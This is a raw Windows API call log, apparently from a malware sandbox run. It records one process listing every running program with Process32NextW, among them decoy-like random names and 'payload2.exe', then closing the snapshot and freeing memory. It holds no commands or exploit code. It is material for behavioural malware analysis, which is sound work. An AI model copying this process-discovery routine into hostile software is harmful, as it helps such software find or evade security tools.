	[0052.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0052.764] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0052.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.764] lstrlenW (lpString="svchost.exe") returned 11
	[0052.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0052.765] lstrlenW (lpString="dwm.exe") returned 7
	[0052.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.766] lstrlenW (lpString="svchost.exe") returned 11
	[0052.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.767] lstrlenW (lpString="svchost.exe") returned 11
	[0052.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.768] lstrlenW (lpString="svchost.exe") returned 11
	[0052.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.768] lstrlenW (lpString="svchost.exe") returned 11
	[0052.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.769] lstrlenW (lpString="svchost.exe") returned 11
	[0052.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.771] lstrlenW (lpString="svchost.exe") returned 11
	[0052.771] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.772] lstrlenW (lpString="svchost.exe") returned 11
	[0052.772] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.773] lstrlenW (lpString="svchost.exe") returned 11
	[0052.773] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.833] lstrlenW (lpString="svchost.exe") returned 11
	[0052.833] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0052.834] lstrlenW (lpString="spoolsv.exe") returned 11
	[0052.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.834] lstrlenW (lpString="svchost.exe") returned 11
	[0052.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.835] lstrlenW (lpString="svchost.exe") returned 11
	[0052.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0052.835] lstrlenW (lpString="audiodg.exe") returned 11
	[0052.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0052.836] lstrlenW (lpString="sihost.exe") returned 10
	[0052.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.837] lstrlenW (lpString="svchost.exe") returned 11
	[0052.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.838] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0052.838] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0052.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0052.839] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0052.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0052.839] lstrlenW (lpString="explorer.exe") returned 12
	[0052.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0052.840] lstrlenW (lpString="Memory Compression") returned 18
	[0052.840] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0052.841] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0052.841] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0052.841] lstrlenW (lpString="SearchUI.exe") returned 12
	[0052.841] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0052.842] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0052.842] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0052.843] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0052.843] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.843] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.843] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0052.844] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0052.844] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0052.845] lstrlenW (lpString="UsoClient.exe") returned 13
	[0052.845] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.845] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.845] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0052.846] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0052.846] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0052.847] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0052.847] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0052.847] lstrlenW (lpString="msoia.exe") returned 9
	[0052.847] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0052.848] lstrlenW (lpString="msoia.exe") returned 9
	[0052.848] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0052.853] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0052.853] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0052.853] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0052.853] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0052.854] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0052.854] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0052.854] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0052.854] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0052.855] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0052.855] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0052.855] lstrlenW (lpString="legends.exe") returned 11
	[0052.855] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0052.856] lstrlenW (lpString="miniature.exe") returned 13
	[0052.856] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0052.856] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0052.856] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0052.857] lstrlenW (lpString="thorough.exe") returned 12
	[0052.857] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0052.858] lstrlenW (lpString="dllhost.exe") returned 11
	[0052.858] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0052.858] lstrlenW (lpString="interactive.exe") returned 15
	[0052.858] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0052.859] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0052.859] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0052.859] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0052.859] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0052.860] lstrlenW (lpString="eastexamined.exe") returned 16
	[0052.860] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0052.861] lstrlenW (lpString="attacks-according.exe") returned 21
	[0052.861] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0052.861] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0052.861] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0052.862] lstrlenW (lpString="values latin.exe") returned 16
	[0052.862] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0052.863] lstrlenW (lpString="eaufeed.exe") returned 11
	[0052.863] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0052.864] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0052.864] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0052.865] lstrlenW (lpString="burning.exe") returned 11
	[0052.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0052.865] lstrlenW (lpString="warned-garage.exe") returned 17
	[0052.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0052.866] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0052.866] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0052.867] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0052.867] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0052.867] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0052.867] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0052.868] lstrlenW (lpString="proprietary.exe") returned 15
	[0052.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.868] lstrlenW (lpString="conhost.exe") returned 11
	[0052.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.869] lstrlenW (lpString="conhost.exe") returned 11
	[0052.869] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0052.886] lstrlenW (lpString="dllhost.exe") returned 11
	[0052.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0052.886] lstrlenW (lpString="payload2.exe") returned 12
	[0052.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0052.887] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0052.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.887] lstrlenW (lpString="conhost.exe") returned 11
	[0052.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0052.888] CloseHandle (hObject=0x240) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507470 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507590 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505820 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505720 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506180 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5325c8 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505780 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505660 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d700 | out: hHeap=0x4f0000) returned 1
	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505880 | out: hHeap=0x4f0000) returned 1
